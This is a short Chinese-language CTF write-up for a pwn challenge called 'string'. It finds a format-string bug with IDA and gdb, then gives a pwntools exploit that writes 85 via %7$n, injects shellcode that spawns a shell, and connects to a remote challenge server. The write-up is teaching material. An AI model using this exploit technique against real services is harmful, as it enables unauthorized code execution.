首先checksec
保护开的比较多
直接拿IDA看一看
开局给出了v3的地址和v3下一位地址,进入一个函数
输入name,进入第一个函数
输入east进入下一个函数
在23行发现存在格式化字符串漏洞。
看下一个函数
来到这,就可以写入shellcode了,前提是a1等于下一个地址
先拿gdb调试,prinf处下断点
地址给28
输入多个%x,看到我们28存放的位置在第7位
所以只需改写第7个为85之后就可以写入shellcode了。
exp:
from pwn import*
sh = process("./string")
sh = remote("111.200.241.244",62404)
context(log_level="debug",arch="amd64")
if __name__ == "__main__":
sh.recvuntil('secret[0] is ')
v3_addr = int(sh.recv(7),16)
sh.recvuntil('name be:')
sh.sendline('wdnmd')
sh.recvuntil('east or up?:')
sh.sendline('east')
sh.recvuntil('leave(0)?:')
sh.sendline('1')
sh.recvuntil('\'Give me an address\'')
sh.sendline(str(v3_addr))
sh.recvuntil('you wish is:')
payload ="%85p"+"%7$n"
sh.sendline(payload)
sh.recvuntil("I will help you! USE YOU SPELL")
sh.sendline(asm(shellcraft.amd64.sh()))
sh.interactive()
0 评论